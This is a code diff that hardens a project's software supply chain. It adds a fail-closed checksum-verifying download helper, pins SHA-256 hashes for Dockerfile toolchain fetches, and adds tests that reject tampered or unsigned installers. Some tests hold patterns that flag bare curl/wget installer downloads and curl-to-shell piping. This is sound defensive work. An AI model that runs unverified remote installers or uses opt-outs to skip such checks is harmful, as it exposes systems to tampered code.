(AC1) ────────────────── +# +# With minisign absent and no CI/opt-out signal, checksum-only is not acceptable +# (the checksum ships over the same channel as the binary), so the installer +# must abort. We force "minisign unavailable" via a restricted PATH. + +e2e::section "minisign unavailable on a non-CI host fails closed" + +RESTRICTED_PATH="/usr/bin:/bin" +if PATH="${RESTRICTED_PATH}" command -v minisign >/dev/null 2>&1; then + e2e::skip "minisign resolvable on the restricted PATH — cannot force it unavailable" +else + RELEASE_DIR_NM="${TEST_DIR}/release-nominisign" + BIN_DIR_NM="${TEST_DIR}/bin-nominisign" + mkdir -p "${RELEASE_DIR_NM}" "${BIN_DIR_NM}" + printf 'real-binary-bytes' > "${RELEASE_DIR_NM}/${HOST_BIN_NAME}" + nm_sum="$(host_sha256 "${RELEASE_DIR_NM}/${HOST_BIN_NAME}")" + printf '%s %s\n' "${nm_sum}" "${HOST_BIN_NAME}" > "${RELEASE_DIR_NM}/SHA256SUMS" + printf 'placeholder-sig\n' > "${RELEASE_DIR_NM}/SHA256SUMS.minisig" + + nm_status=0 + nm_output="$( + unset JAIPH_REPO_URL + env -u CI -u JAIPH_ALLOW_UNSIGNED \ + PATH="${RESTRICTED_PATH}" \ + JAIPH_RELEASE_BASE_URL="file://${RELEASE_DIR_NM}" \ + JAIPH_BIN_DIR="${BIN_DIR_NM}" \ + bash "${INSTALL_SCRIPT}" 2>&1 + )" || nm_status=$? + e2e::assert_equals "${nm_status}" "1" "non-CI install without minisign exits non-zero" + # assert_contains: output carries ANSI color codes around the message + e2e::assert_contains "${nm_output}" "minisign is required" "reports mandatory signature verification" + if [ -e "${BIN_DIR_NM}/jaiph" ]; then + e2e::fail "installer left a binary when signature verification was impossible" + fi + e2e::pass "minisign unavailable on a non-CI host is fail-closed" + + # The same host with JAIPH_ALLOW_UNSIGNED=1 opts back into checksum-only and + # proceeds past the signature step (reaching the checksum, which matches here). + e2e::section "JAIPH_ALLOW_UNSIGNED=1 opts back into checksum-only" + BIN_DIR_OPT="${TEST_DIR}/bin-optout" + mkdir -p "${BIN_DIR_OPT}" + opt_status=0 + opt_output="$( + unset JAIPH_REPO_URL + env -u CI \ + PATH="${RESTRICTED_PATH}" \ + JAIPH_ALLOW_UNSIGNED=1 \ + JAIPH_RELEASE_BASE_URL="file://${RELEASE_DIR_NM}" \ + JAIPH_BIN_DIR="${BIN_DIR_OPT}" \ + bash "${INSTALL_SCRIPT}" 2>&1 + )" || opt_status=$? + # The staged "binary" is not a real jaiph, so `--version` fails at the very + # end — but signature/checksum verification is passed (that is what we assert). + # assert_contains: verifies the checksum-only warning surfaced. + e2e::assert_contains "${opt_output}" "proceeding on checksum only" "opt-out warning is shown" + e2e::pass "JAIPH_ALLOW_UNSIGNED=1 bypasses the mandatory-signature abort" +fi + # ── Checksum mismatch ──────────────────────────────────────────────────────── e2e::section "Checksum mismatch fails and installs nothing" @@ -96,8 +187,9 @@ printf '%s %s\n' "0000000000000000000000000000000000000000000000000000000000000 # The installer verifies the detached signature BEFORE the checksum, so a bogus # signature would fail first and never reach the checksum step. To exercise the # checksum path, sign the (tampered) SHA256SUMS with a throwaway key and hand the -# installer its matching public key. When minisign is absent the installer skips -# signature verification, so a placeholder sig is enough to reach the checksum. +# installer its matching public key. When minisign is absent, signature +# verification is now mandatory (fail-closed), so JAIPH_ALLOW_UNSIGNED=1 opts +# into checksum-only and lets the mismatch below be the failure under test. TEST_PUBKEY="" if command -v minisign >/dev/null 2>&1; then minisign -G -W -p "${RELEASE_DIR}/test.pub" -s "${RELEASE_DIR}/test.key" >/dev/null 2>&1 @@ -110,8 +202,11 @@ fi bad_status=0 # Unset JAIPH_REPO_URL: the shared e2e context points it at this repo root, # which would otherwise trigger the local-source branch instead of download. +# JAIPH_ALLOW_UNSIGNED=1: harmless when minisign is present (the real signature +# is verified regardless); required when absent so the run reaches the checksum. bad_output="$( unset JAIPH_REPO_URL + JAIPH_ALLOW_UNSIGNED=1 \ JAIPH_RELEASE_BASE_URL="file://${RELEASE_DIR}" \ JAIPH_BIN_DIR="${BIN_DIR_BAD}" \ JAIPH_MINISIGN_PUBLIC_KEY="${TEST_PUBKEY}" \ diff --git a/e2e/tests/09_dockerfile_fetch_verify.sh b/e2e/tests/09_dockerfile_fetch_verify.sh new file mode 100644 index 00000000..41c968b0 --- /dev/null +++ b/e2e/tests/09_dockerfile_fetch_verify.sh @@ -0,0 +1,108 @@ +#!/usr/bin/env bash +# +# Acceptance for runtime/fetch-verify.sh — the single fail-closed download+verify +# seam every toolchain fetch in runtime/Dockerfile goes through (finding M-11). +# The Dockerfile requires a non-empty SHA-256 per fetch and verifies it; this +# test exercises that contract at the helper level (fast, offline, host-only): +# - empty checksum -> refuses to fetch (build would fail) +# - mismatched checksum -> aborts and removes the download (build would fail) +# - correct checksum -> succeeds and leaves the verified file in place +# +# It also asserts every toolchain fetch in the Dockerfile routes through the +# helper with a non-empty pinned checksum, so a future edit that reintroduces an +# unverified or empty-default fetch fails here. + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" +trap e2e::cleanup EXIT + +e2e::prepare_test_env "dockerfile_fetch_verify" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" + +HELPER="${ROOT_DIR}/runtime/fetch-verify.sh" + +if command -v sha256sum >/dev/null 2>&1; then + host_sha256() { sha256sum "$1" | awk '{print $1}'; } +elif command -v shasum >/dev/null 2>&1; then + host_sha256() { shasum -a 256 "$1" | awk '{print $1}'; } +else + e2e::skip "no sha256sum/shasum on host — skipping fetch-verify acceptance" + exit 0 +fi + +SRC="${TEST_DIR}/payload" +printf 'verified-toolchain-bytes' > "${SRC}" +GOOD_SHA="$(host_sha256 "${SRC}")" +URL="file://${SRC}" + +# ── Empty checksum fails closed ─────────────────────────────────────────────── + +e2e::section "fetch-verify refuses an empty checksum" + +DEST="${TEST_DIR}/out-empty" +empty_status=0 +empty_out="$(bash "${HELPER}" "${URL}" "${DEST}" "" 2>&1)" || empty_status=$? +e2e::assert_equals "${empty_status}" "1" "empty checksum exits non-zero" +e2e::assert_contains "${empty_out}" "without a pinned sha256" "reports the required-checksum policy" +if [ -e "${DEST}" ]; then + e2e::fail "fetch-verify wrote a file for an empty checksum" +fi +e2e::pass "empty checksum is fail-closed" + +# ── Mismatched checksum fails closed ────────────────────────────────────────── + +e2e::section "fetch-verify rejects a mismatched checksum" + +DEST="${TEST_DIR}/out-bad" +bad_status=0 +bad_out="$(bash "${HELPER}" "${URL}" "${DEST}" \ + "0000000000000000000000000000000000000000000000000000000000000000" 2>&1)" || bad_status=$? +e2e::assert_equals "${bad_status}" "1" "mismatched checksum exits non-zero" +e2e::assert_contains "${bad_out}" "sha256 mismatch" "reports the mismatch" +if [ -e "${DEST}" ]; then + e2e::fail "fetch-verify left the download after a checksum mismatch" +fi +e2e::pass "mismatched checksum is fail-closed and leaves no file" + +# ── Correct checksum succeeds ───────────────────────────────────────────────── + +e2e::section "fetch-verify accepts a matching checksum" + +DEST="${TEST_DIR}/out-good" +ok_status=0 +bash "${HELPER}" "${URL}" "${DEST}" "${GOOD_SHA}" || ok_status=$? +e2e::assert_equals "${ok_status}" "0" "matching checksum exits zero" +if [ ! -f "${DEST}" ]; then + e2e::fail "fetch-verify did not leave the verified file in place" +fi +e2e::assert_equals "$(cat "${DEST}")" "verified-toolchain-bytes" "verified file has the expected content" +e2e::pass "matching checksum installs the verified file" + +# ── Every Dockerfile toolchain fetch is pinned and verified ─────────────────── + +e2e::section "runtime/Dockerfile pins every toolchain fetch through fetch-verify.sh" + +DOCKERFILE="${ROOT_DIR}/runtime/Dockerfile" + +# No toolchain may be fetched with a bare curl download (the pattern the finding +# flagged). Every network fetch of an installer/binary goes through the helper. +stray="$(grep -nE '^\s*(curl|wget)[^|]*(astral\.sh|rustup|bun\.sh|cursor\.com|go\.dev/dl|mikefarah/yq|dl\.k8s\.io|awscli\.amazonaws\.com|go-task/task)' "${DOCKERFILE}" || true)" +if [ -n "${stray}" ]; then + printf 'Unverified toolchain fetch(es) in Dockerfile:\n%s\n' "${stray}" >&2 + e2e::fail "every toolchain fetch must route through fetch-verify.sh" +fi +e2e::pass "no bare toolchain downloads remain" + +# Each checksum ARG must ship a non-empty default (an empty default would let a +# plain `docker build` degrade to no verification). +for arg in UV_INSTALL_SHA256 RUSTUP_INIT_SHA256 BUN_INSTALL_SHA256 CURSOR_INSTALL_SHA256 \ + GO_SHA256_AMD64 GO_SHA256_ARM64 YQ_SHA256_AMD64 YQ_SHA256_ARM64 \ + KUBECTL_SHA256_AMD64 KUBECTL_SHA256_ARM64 AWSCLI_SHA256_X86_64 AWSCLI_SHA256_AARCH64 \ + TASK_SHA256_AMD64 TASK_SHA256_ARM64; do + if ! grep -qE "^ARG ${arg}=[0-9a-f]{64}\$" "${DOCKERFILE}"; then + e2e::fail "Dockerfile ARG ${arg} must default to a non-empty 64-hex sha256" + fi +done +e2e::pass "all toolchain checksum ARGs carry a pinned non-empty default" diff --git a/integration/release-workflow.test.ts b/integration/release-workflow.test.ts index ccd5060d..14be254f 100644 --- a/integration/release-workflow.test.ts +++ b/integration/release-workflow.test.ts @@ -243,13 +243,48 @@ test("Dockerfile does not pipe curl output directly to bash or sh", () => { ); }); -test("Dockerfile uses download-to-file + optional hash verify for each remote installer", () => { - // Each install ARG must appear once and must be paired with sha256sum usage. - for (const argName of ["UV_INSTALL_SHA256", "RUSTUP_INIT_SHA256", "BUN_INSTALL_SHA256"]) { - assert.match(DOCKERFILE, new RegExp(`ARG ${argName}`), `ARG ${argName} declared`); - assert.match(DOCKERFILE, new RegExp(argName), `${argName} referenced in verification step`); +test("Dockerfile pins every toolchain fetch through fetch-verify.sh with a required checksum", () => { + // Every toolchain checksum ARG must default to a non-empty 64-hex sha256, so a + // plain `docker build` cannot degrade to an unverified fetch (finding M-11). + const ARGS = [ + "UV_INSTALL_SHA256", + "RUSTUP_INIT_SHA256", + "BUN_INSTALL_SHA256", + "CURSOR_INSTALL_SHA256", + "GO_SHA256_AMD64", + "GO_SHA256_ARM64", + "YQ_SHA256_AMD64", + "YQ_SHA256_ARM64", + "KUBECTL_SHA256_AMD64", + "KUBECTL_SHA256_ARM64", + "AWSCLI_SHA256_X86_64", + "AWSCLI_SHA256_AARCH64", + "TASK_SHA256_AMD64", + "TASK_SHA256_ARM64", + ]; + for (const argName of ARGS) { + assert.match( + DOCKERFILE, + new RegExp(`^ARG ${argName}=[0-9a-f]{64}$`, "m"), + `ARG ${argName} defaults to a non-empty 64-hex sha256`, + ); } - assert.match(DOCKERFILE, /sha256sum -c/, "Dockerfile uses sha256sum -c for verification"); + + // No toolchain may be fetched with a bare curl/wget download; each goes + // through the shared verify seam. + const stray = DOCKERFILE.split("\n").filter((l) => + /^\s*(curl|wget)[^|]*(astral\.sh|rustup|bun\.sh|cursor\.com|go\.dev\/dl|mikefarah\/yq|dl\.k8s\.io|awscli\.amazonaws\.com|go-task\/task)/.test( + l, + ), + ); + assert.deepEqual(stray, [], `unverified toolchain fetch(es) in Dockerfile:\n${stray.join("\n")}`); + assert.match(DOCKERFILE, /fetch-verify\.sh/, "Dockerfile calls the fetch-verify.sh seam"); + + // The seam itself fails closed on an empty checksum and verifies the download. + const HELPER = readFileSync(join(REPO_ROOT, "runtime/fetch-verify.sh"), "utf8"); + assert.match(HELPER, /checksum is required/, "fetch-verify refuses an empty checksum"); + assert.match(HELPER, /sha256sum|shasum/, "fetch-verify computes a sha256 of the download"); + assert.match(HELPER, /sha256 mismatch/, "fetch-verify aborts on a checksum mismatch"); }); test("bash installer requires SHA256SUMS.minisig and fails closed when absent", () => { diff --git a/runtime/Dockerfile b/runtime/Dockerfile index d5dfabda..8ec2139f 100644 --- a/runtime/Dockerfile +++ b/runtime/Dockerfile @@ -55,6 +55,12 @@ RUN apt-get update && \ rsync && \ rm -rf /var/lib/apt/lists/* +# Single fail-closed download+verify seam for every toolchain fetch below +# (finding M-11). Installed early so every subsequent RUN — including the ones +# that run as the non-root `jaiph` user — can call it by name. +COPY runtime/fetch-verify.sh /usr/local/bin/fetch-verify.sh +RUN chmod 0755 /usr/local/bin/fetch-verify.sh + # JAVA_HOME must work on both amd64 and arm64 publish targets. RUN ARCH="$(dpkg --print-architecture)" && \ ln -sfn "/usr/lib/jvm/java-21-openjdk-${ARCH}" /usr/lib/jvm/java-21-openjdk-jaiph @@ -85,109 +91,116 @@ RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key \ RUN npm install -g pnpm yarn && corepack enable # Fast Python env/deps (common alternative to raw pip in modern repos). -# ARG UV_INSTALL_SHA256: sha256 of https://astral.sh/uv/install.sh at build time. -# Leave empty for dev builds; CI/release builds should populate this to pin the script. -ARG UV_INSTALL_SHA256="" +# UV_INSTALL_SHA256: sha256 of https://astral.sh/uv/install.sh. This is a rolling +# URL — refresh the pin when upstream changes the installer. Empty fails closed. +ARG UV_INSTALL_SHA256=b67e385074fddc9b99cd152b838fd91046d9fbc261b2c45f448a983ad23b8764 RUN set -eux; \ - curl -LsSf https://astral.sh/uv/install.sh -o /tmp/uv-install.sh; \ - if [ -n "${UV_INSTALL_SHA256}" ]; then \ - printf '%s /tmp/uv-install.sh\n' "${UV_INSTALL_SHA256}" | sha256sum -c -; \ - fi; \ + fetch-verify.sh https://astral.sh/uv/install.sh /tmp/uv-install.sh "${UV_INSTALL_SHA256}"; \ env UV_INSTALL_DIR=/usr/local/bin sh /tmp/uv-install.sh; \ rm -f /tmp/uv-install.sh # Go — single stable release; matches go.dev "current stable" at image build time. ARG GO_VERSION=1.26.5 +ARG GO_SHA256_AMD64=5c2c3b16caefa1d968a94c1daca04a7ca301a496d9b086e17ad77bb81393f053 +ARG GO_SHA256_ARM64=fe4789e92b1f33358680864bbe8704289e7bb5fc207d80623c308935bd696d49 RUN set -eux; \ arch="$(dpkg --print-architecture)"; \ case "${arch}" in \ - amd64) goarch=amd64 ;; \ - arm64) goarch=arm64 ;; \ + amd64) goarch=amd64; gosha="${GO_SHA256_AMD64}" ;; \ + arm64) goarch=arm64; gosha="${GO_SHA256_ARM64}" ;; \ *) echo "unsupported arch: ${arch}" >&2; exit 1 ;; \ esac; \ - curl -fsSL "https://go.dev/dl/go${GO_VERSION}.linux-${goarch}.tar.gz" | tar -C /usr/local -xz + fetch-verify.sh "https://go.dev/dl/go${GO_VERSION}.linux-${goarch}.tar.gz" /tmp/go.tar.gz "${gosha}"; \ + tar -C /usr/local -xzf /tmp/go.tar.gz; \ + rm -f /tmp/go.tar.gz ENV PATH="/usr/local/go/bin:${PATH}" # Rust — minimal stable toolchain (rustc + cargo + std); enough for most crates. ENV RUSTUP_HOME=/usr/local/rustup ENV CARGO_HOME=/usr/local/cargo ENV PATH="/usr/local/cargo/bin:${PATH}" -# ARG RUSTUP_INIT_SHA256: sha256 of https://sh.rustup.rs at build time. -# Leave empty for dev builds; CI/release builds should populate this to pin the script. -ARG RUSTUP_INIT_SHA256="" +# RUSTUP_INIT_SHA256: sha256 of https://sh.rustup.rs. Rolling URL — refresh the +# pin when upstream changes the installer. Empty fails closed. +ARG RUSTUP_INIT_SHA256=6c30b75a75b28a96fd913a037c8581b580080b6ee9b8169a3c0feb1af7fe8caf RUN set -eux; \ - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs -o /tmp/rustup-init.sh; \ - if [ -n "${RUSTUP_INIT_SHA256}" ]; then \ - printf '%s /tmp/rustup-init.sh\n' "${RUSTUP_INIT_SHA256}" | sha256sum -c -; \ - fi; \ + fetch-verify.sh https://sh.rustup.rs /tmp/rustup-init.sh "${RUSTUP_INIT_SHA256}"; \ sh /tmp/rustup-init.sh -y --default-toolchain stable --profile minimal --no-modify-path; \ rm -f /tmp/rustup-init.sh; \ chmod -R a+rx /usr/local/rustup /usr/local/cargo # YAML CLI (mikefarah/yq — distinct from the Python yq package). ARG YQ_VERSION=4.45.4 +ARG YQ_SHA256_AMD64=b96de04645707e14a12f52c37e6266832e03c29e95b9b139cddcae7314466e69 +ARG YQ_SHA256_ARM64=a02cc637409db44a9f9cb55ea92c40019582ba88083c4d930a727ec4b59ed439 RUN set -eux; \ arch="$(dpkg --print-architecture)"; \ case "${arch}" in \ - amd64) yqarch=amd64 ;; \ - arm64) yqarch=arm64 ;; \ + amd64) yqarch=amd64; yqsha="${YQ_SHA256_AMD64}" ;; \ + arm64) yqarch=arm64; yqsha="${YQ_SHA256_ARM64}" ;; \ *) echo "unsupported arch: ${arch}" >&2; exit 1 ;; \ esac; \ - curl -fsSL "https://github.com/mikefarah/yq/releases/download/v${YQ_VERSION}/yq_linux_${yqarch}" \ - -o /usr/local/bin/yq && \ + fetch-verify.sh "https://github.com/mikefarah/yq/releases/download/v${YQ_VERSION}/yq_linux_${yqarch}" \ + /usr/local/bin/yq "${yqsha}"; \ chmod +x /usr/local/bin/yq # Bun — fast JS runtime used by many modern repos (and Jaiph's own build). ENV BUN_INSTALL=/usr/local/bun -# ARG BUN_INSTALL_SHA256: sha256 of https://bun.sh/install at build time. -# Leave empty for dev builds; CI/release builds should populate this to pin the script. -ARG BUN_INSTALL_SHA256="" +# BUN_INSTALL_SHA256: sha256 of https://bun.sh/install. Rolling URL — refresh the +# pin when upstream changes the installer. Empty fails closed. +ARG BUN_INSTALL_SHA256=bab8acfb046aac8c72407bdcce903957665d655d7acaa3e11c7c4616beae68dd RUN set -eux; \ - curl -fsSL https://bun.sh/install -o /tmp/bun-install.sh; \ - if [ -n "${BUN_INSTALL_SHA256}" ]; then \ - printf '%s /tmp/bun-install.sh\n' "${BUN_INSTALL_SHA256}" | sha256sum -c -; \ - fi; \ + fetch-verify.sh https://bun.sh/install /tmp/bun-install.sh "${BUN_INSTALL_SHA256}"; \ env BUN_INSTALL="${BUN_INSTALL}" bash /tmp/bun-install.sh; \ rm -f /tmp/bun-install.sh ENV PATH="${BUN_INSTALL}/bin:${PATH}" # kubectl — Kubernetes cluster automation. ARG KUBECTL_VERSION=1.36.2 +ARG KUBECTL_SHA256_AMD64=1e9045ec32bea85da43de85f0065358529ea7c7a152eca78154fba5b58c27d82 +ARG KUBECTL_SHA256_ARM64=c957eb8c4bea27a3bb35b269edd9082e27f027f7b76b20b5bf4afebc726c6d3e RUN set -eux; \ arch="$(dpkg --print-architecture)"; \ case "${arch}" in \ - amd64) karch=amd64 ;; \ - arm64) karch=arm64 ;; \ + amd64) karch=amd64; ksha="${KUBECTL_SHA256_AMD64}" ;; \ + arm64) karch=arm64; ksha="${KUBECTL_SHA256_ARM64}" ;; \ *) echo "unsupported arch: ${arch}" >&2; exit 1 ;; \ esac; \ - curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${karch}/kubectl" \ - -o /usr/local/bin/kubectl && \ + fetch-verify.sh "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${karch}/kubectl" \ + /usr/local/bin/kubectl "${ksha}"; \ chmod +x /usr/local/bin/kubectl -# AWS CLI v2 — cloud automation scripts. +# AWS CLI v2 — cloud automation scripts. The download URL is unversioned +# ("latest"), so these pins must be refreshed when AWS ships a new CLI build. +# Empty fails closed. +ARG AWSCLI_SHA256_X86_64=a9ac6e52bbdf0bba62e410f7f62aa1a5f5615edb90b126c04cb5e4e3b2984bfc +ARG AWSCLI_SHA256_AARCH64=422843769149f90b28df93750a86df1bb85018667102015f35078d8507cc49a5 RUN set -eux; \ arch="$(uname -m)"; \ case "${arch}" in \ - x86_64) awsarch=x86_64 ;; \ - aarch64) awsarch=aarch64 ;; \ + x86_64) awsarch=x86_64; awssha="${AWSCLI_SHA256_X86_64}" ;; \ + aarch64) awsarch=aarch64; awssha="${AWSCLI_SHA256_AARCH64}" ;; \ *) echo "unsupported arch: ${arch}" >&2; exit 1 ;; \ esac; \ - curl -fsSL "https://awscli.amazonaws.com/awscli-exe-linux-${awsarch}.zip" -o /tmp/awscliv2.zip && \ - unzip -q /tmp/awscliv2.zip -d /tmp && \ - /tmp/aws/install && \ + fetch-verify.sh "https://awscli.amazonaws.com/awscli-exe-linux-${awsarch}.zip" /tmp/awscliv2.zip "${awssha}"; \ + unzip -q /tmp/awscliv2.zip -d /tmp; \ + /tmp/aws/install; \ rm -rf /tmp/aws /tmp/awscliv2.zip # Task (go-task) — Makefile-style task runner used in many repos. ARG TASK_VERSION=3.44.1 +ARG TASK_SHA256_AMD64=62969d22bee5ea8950cc64a30cc7eb278f89ad67683132e728841457aae523c1 +ARG TASK_SHA256_ARM64=06f390bbc1545997bc08920b51741dd2142713cfdef748e5b17e9f68aa042bbd RUN set -eux; \ arch="$(dpkg --print-architecture)"; \ case "${arch}" in \ - amd64) taskarch=amd64 ;; \ - arm64) taskarch=arm64 ;; \ + amd64) taskarch=amd64; tasksha="${TASK_SHA256_AMD64}" ;; \ + arm64) taskarch=arm64; tasksha="${TASK_SHA256_ARM64}" ;; \ *) echo "unsupported arch: ${arch}" >&2; exit 1 ;; \ esac; \ - curl -fsSL "https://github.com/go-task/task/releases/download/v${TASK_VERSION}/task_linux_${taskarch}.tar.gz" \ - | tar -xz -C /usr/local/bin task && \ + fetch-verify.sh "https://github.com/go-task/task/releases/download/v${TASK_VERSION}/task_linux_${taskarch}.tar.gz" \ + /tmp/task.tar.gz "${tasksha}"; \ + tar -xzf /tmp/task.tar.gz -C /usr/local/bin task; \ + rm -f /tmp/task.tar.gz; \ chmod +x /usr/local/bin/task # Non-root user for agent CLIs and default shell behavior. The workspace and @@ -212,14 +225,12 @@ ENV PATH="/home/jaiph/.local/bin:/usr/local/bun/bin:/usr/local/cargo/bin:/usr/lo # cursor-agent (Cursor) — install as the runtime user so the binary is # reachable after switching away from root. The installer currently places # the CLI in ~/.local/bin and may name it "agent" or "cursor". -# ARG CURSOR_INSTALL_SHA256: sha256 of https://cursor.com/install at build time. -# Cursor does not publish checksums publicly; set this ARG when the hash is known. -ARG CURSOR_INSTALL_SHA256="" +# CURSOR_INSTALL_SHA256: sha256 of https://cursor.com/install. Cursor does not +# publish checksums, and the URL is rolling — refresh this pin when upstream +# changes the installer. Empty fails closed. +ARG CURSOR_INSTALL_SHA256=905a5e6896f526ea24358372cd0983a19e0d262ccd779c317d256771ed84c850 RUN mkdir -p "$HOME/.local/bin" && \ - curl -fsSL https://cursor.com/install -o /tmp/install-cursor-agent.sh && \ - if [ -n "${CURSOR_INSTALL_SHA256}" ]; then \ - printf '%s /tmp/install-cursor-agent.sh\n' "${CURSOR_INSTALL_SHA256}" | sha256sum -c -; \ - fi && \ + fetch-verify.sh https://cursor.com/install /tmp/install-cursor-agent.sh "${CURSOR_INSTALL_SHA256}" && \ bash /tmp/install-cursor-agent.sh && \ export PATH="$HOME/.local/bin:$PATH" && \ if command -v cursor-agent >/dev/null 2>&1; then \ diff --git a/runtime/fetch-verify.sh b/runtime/fetch-verify.sh new file mode 100755 index 00000000..e355f052 --- /dev/null +++ b/runtime/fetch-verify.sh @@ -0,0 +1,51 @@ +#!/usr/bin/env sh +# fetch-verify.sh — download a URL to a destination path and fail closed unless +# its content matches a REQUIRED sha256. This is the single seam every toolchain +# fetch in runtime/Dockerfile goes through (finding M-11): a poisoned toolchain +# CDN can no longer silently replace an installer, and an empty or mismatched +# checksum aborts the build instead of installing unverified bytes. +# +# Usage: fetch-verify.sh +# +# Exit codes: 2 = bad usage, 1 = missing checksum / download failure / mismatch. +set -eu + +url="${1:-}" +dest="${2:-}" +sha="${3:-}" + +if [ -z "$url" ] || [ -z "$dest" ]; then + echo "fetch-verify: usage: fetch-verify.sh " >&2 + exit 2 +fi + +# A missing checksum is fail-closed: refuse to fetch rather than degrade to an +# unverified download. Every caller must pin a non-empty sha256. +if [ -z "$sha" ]; then + echo "fetch-verify: refusing to fetch ${url} without a pinned sha256 (checksum is required)" >&2 + exit 1 +fi + +if ! curl -fsSL "$url" -o "$dest"; then + echo "fetch-verify: failed to download ${url}" >&2 + exit 1 +fi + +# sha256sum on the Ubuntu image; shasum keeps the helper testable on macOS hosts. +if command -v sha256sum >/dev/null 2>&1; then + actual="$(sha256sum "$dest" | awk '{print $1}')" +elif command -v shasum >/dev/null 2>&1; then + actual="$(shasum -a 256 "$dest" | awk '{print $1}')" +else + echo "fetch-verify: no sha256sum/shasum available to verify ${url}" >&2 + rm -f "$dest" + exit 1 +fi + +if [ "$sha" != "$actual" ]; then + echo "fetch-verify: sha256 mismatch for ${url}" >&2 + echo " expected: ${sha}" >&2 + echo " got: ${actual}" >&2 + rm -f "$dest" + exit 1 +fi diff --git a/src/cli/commands/use.test.ts b/src/cli/commands/use.test.ts index 16b2ba81..c682dffd 100644 --- a/src/cli/commands/use.test.ts +++ b/src/cli/commands/use.test.ts @@ -1,5 +1,9 @@ import test from "node:test"; import assert from "node:assert/strict"; +import { createHash } from "node:crypto"; +import { mkdtempSync, writeFileSync, existsSync, chmodSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { runUse } from "./use"; /** @@ -89,3 +93,80 @@ test("runUse: non-zero install status is returned to the caller", () => { else process.env.JAIPH_INSTALL_COMMAND = prev; } }); + +/** + * Verified default path (finding M-11): with no JAIPH_INSTALL_COMMAND override, + * `jaiph use` downloads the install script and its published sha256 from + * JAIPH_SITE, verifies the two match, and only then executes the script. A + * local file:// "site" keeps these tests network-free. + */ +function makeSite(scriptBody: string, opts?: { tamper?: boolean; noSha?: boolean }): string { + const dir = mkdtempSync(join(tmpdir(), "jaiph-use-site-")); + const scriptPath = join(dir, "install"); + writeFileSync(scriptPath, scriptBody); + chmodSync(scriptPath, 0o755); + const sha = createHash("sha256").update(scriptBody).digest("hex"); + if (!opts?.noSha) { + writeFileSync(join(dir, "install.sha256"), `${sha} install\n`); + } + if (opts?.tamper) { + // Publish the checksum, then change the script so it no longer matches. + writeFileSync(scriptPath, `${scriptBody}\necho tampered\n`); + chmodSync(scriptPath, 0o755); + } + return dir; +} + +function withVerifiedInstallEnv(site: string, fn: () => void): void { + const prevCmd = process.env.JAIPH_INSTALL_COMMAND; + const prevSite = process.env.JAIPH_SITE; + delete process.env.JAIPH_INSTALL_COMMAND; // force the verified default path + process.env.JAIPH_SITE = `file://${site}`; + try { + fn(); + } finally { + if (prevCmd === undefined) delete process.env.JAIPH_INSTALL_COMMAND; + else process.env.JAIPH_INSTALL_COMMAND = prevCmd; + if (prevSite === undefined) delete process.env.JAIPH_SITE; + else process.env.JAIPH_SITE = prevSite; + } +} + +test("runUse: verified default path accepts a matching install script", () => { + const site = makeSite("#!/usr/bin/env bash\nexit 0\n"); + const cap = captureStreams(); + withVerifiedInstallEnv(site, () => { + try { + assert.equal(runUse(["nightly"]), 0); + assert.match(cap.stdout(), /Install script verified/); + } finally { + cap.restore(); + } + }); +}); + +test("runUse: verified default path rejects a tampered install script", () => { + const site = makeSite("#!/usr/bin/env bash\nexit 0\n", { tamper: true }); + const cap = captureStreams(); + withVerifiedInstallEnv(site, () => { + try { + assert.equal(runUse(["nightly"]), 1); + assert.match(cap.stderr(), /integrity check failed/); + } finally { + cap.restore(); + } + }); +}); + +test("runUse: verified default path fails closed when install.sha256 is missing", () => { + const site = makeSite("#!/usr/bin/env bash\nexit 0\n", { noSha: true }); + const cap = captureStreams(); + withVerifiedInstallEnv(site, () => { + try { + assert.equal(runUse(["nightly"]), 1); + assert.match(cap.stderr(), /unverified install script/); + } finally { + cap.restore(); + } + }); +}); diff --git a/src/cli/commands/use.ts b/src/cli/commands/use.ts index 72f5a719..22da8735 100644 --- a/src/cli/commands/use.ts +++ b/src/cli/commands/use.ts @@ -1,4 +1,8 @@ import { spawnSync } from "node:child_process"; +import { createHash } from "node:crypto"; +import { mkdtempSync, readFileSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { hasHelpFlag } from "../shared/usage"; const USE_USAGE = @@ -19,6 +23,54 @@ function toInstallRef(version: string): string | undefined { return `v${trimmed}`; } +// Default bootstrap: fetch the install script AND its published sha256, verify, +// then run it — instead of piping `curl … | bash` (finding M-11). A missing or +// mismatched checksum fails closed, so a tampered bootstrap script is rejected. +// JAIPH_SITE overrides the base URL (default https://jaiph.org), matching docs/run. +function runVerifiedInstall(ref: string): number { + const site = (process.env.JAIPH_SITE ?? "").trim() || "https://jaiph.org"; + const tmp = mkdtempSync(join(tmpdir(), "jaiph-use-")); + const scriptPath = join(tmp, "install"); + const sumPath = join(tmp, "install.sha256"); + try { + const dl = (url: string, out: string): boolean => + spawnSync("curl", ["-fsSL", url, "-o", out], { stdio: ["ignore", "ignore", "inherit"] }).status === 0; + if (!dl(`${site}/install`, scriptPath)) { + process.stderr.write(`Failed to download ${site}/install\n`); + return 1; + } + if (!dl(`${site}/install.sha256`, sumPath)) { + process.stderr.write( + `Failed to download ${site}/install.sha256 — refusing to run an unverified install script.\n`, + ); + return 1; + } + const expected = readFileSync(sumPath, "utf8").trim().split(/\s+/)[0] ?? ""; + const actual = createHash("sha256").update(readFileSync(scriptPath)).digest("hex"); + if (!expected || expected !== actual) { + process.stderr.write( + `Install script integrity check failed (expected ${expected || ""}, got ${actual}).\n` + + "The bootstrap script does not match its published checksum; aborting.\n", + ); + return 1; + } + process.stdout.write("Install script verified\n"); + const result = spawnSync("bash", [scriptPath], { + stdio: "inherit", + env: { ...process.env, JAIPH_REPO_REF: ref }, + }); + if (typeof result.status === "number") { + return result.status; + } + if (result.error) { + process.stderr.write(`${result.error.message}\n`); + } + return 1; + } finally { + rmSync(tmp, { recursive: true, force: true }); + } +} + export function runUse(rest: string[]): number { if (hasHelpFlag(rest)) { process.stdout.write(USE_USAGE); @@ -34,8 +86,15 @@ export function runUse(rest: string[]): number { process.stderr.write("jaiph use 